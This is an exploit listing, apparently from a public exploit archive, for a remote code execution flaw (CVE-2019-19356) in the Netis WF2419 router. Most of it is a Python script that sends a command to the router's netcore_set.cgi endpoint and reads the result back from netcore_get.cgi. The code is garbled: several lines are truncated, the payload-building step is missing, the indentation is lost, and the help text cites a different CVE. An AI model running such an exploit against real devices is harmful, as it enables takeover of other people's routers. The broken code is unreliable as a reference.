Netis WF2419 2.2.36123 Remote Code Execution

Netis WF2419 version 2.2.36123 suffers from a remote code execution vulnerability.

MD5 | dbd50affdbcb32ab1bb41adb5453cfeb

# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution 
# Exploit Author: Elias Issa
# Vendor Homepage:
# Software Link:
# Date: 2020-02-11
# Version: WF2419 V2.2.36123 => V2.2.36123
# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123
# CVE : CVE-2019-19356

# Proof of Concept: python "ls"

#!/usr/bin/env python
import argparse
import requests
import json

def exploit(host,cmd):
# Send Payload
headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0',
'Content-Type': 'application/x-www-form-urlencoded'}
vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi"
req_payload =, data=post_data, headers=headers_value)
print('[+] Payload sent')
try :
json_data = json.loads(req_payload.text)
if json_data[0] == "SUCCESS":
print('[+] Exploit Sucess')
# Get Command Result
print('[+] Getting Command Output\n')
result_page = host + "/cgi-bin-igd/netcore_get.cgi"
post_data = "mode_name=netcore_get&no=no"
req_result =, data=post_data, headers=headers_value)
json_data = json.loads(req_result.text)
results = json_data["tools_results"]
print results.replace(';', '\n')
print('[-] Exploit Failed')
print("[!] You might need to login.")

# To be implemented
def login(user, password):
print('To be implemented')

def main():
host =
cmd = args.cmd
user = args.user
password = args.password

if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]")
ap.add_argument("host", help="URL (Example:")
ap.add_argument("cmd", help="Command to run.")
ap.add_argument("-u", "--user", help="Admin username (Default: admin).",
ap.add_argument("-p", "--password", help="Admin password (Default: admin).",
args = ap.parse_args()

Related Posts